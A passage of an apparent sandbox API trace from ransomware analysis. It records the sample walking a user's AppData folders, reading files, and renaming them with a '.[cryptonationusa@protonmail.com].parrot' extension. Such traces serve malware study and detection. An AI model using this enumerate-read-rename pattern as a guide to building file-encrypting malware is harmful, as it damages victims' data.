(HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.283] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.286] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.286] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.290] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.290] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x402, lpOverlapped=0x0) returned 1 [0090.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.291] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.291] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.294] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.295] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.296] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.296] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.296] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.297] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.297] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.297] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.297] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.298] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.298] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.298] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.299] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.299] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe2b, lpOverlapped=0x0) returned 1 [0090.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.300] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.300] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.303] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.303] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.304] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.304] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe00, lpOverlapped=0x0) returned 1 [0090.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.304] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.304] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.307] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.307] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.308] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.308] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe23, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe23, lpOverlapped=0x0) returned 1 [0090.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.308] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.309] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.311] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.312] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.312] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.312] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe0e, lpOverlapped=0x0) returned 1 [0090.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.313] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.313] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.316] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.316] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.316] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.316] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.317] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.317] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.317] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.317] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.318] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.318] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.318] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.318] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.318] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.319] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.319] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.320] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.320] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.320] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.320] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.321] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.321] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1b890, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1b890, lpOverlapped=0x0) returned 1 [0090.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.325] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.327] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.330] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.330] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.331] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.331] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0090.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.332] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.332] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.338] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.338] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.340] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0090.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\eb282ead62b4db87.automaticdestinations-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\eb282ead62b4db87.automaticdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.343] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.344] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.344] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.345] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.346] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.346] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.346] RtlAllocateHeap (HeapHandle=0x5b0000, 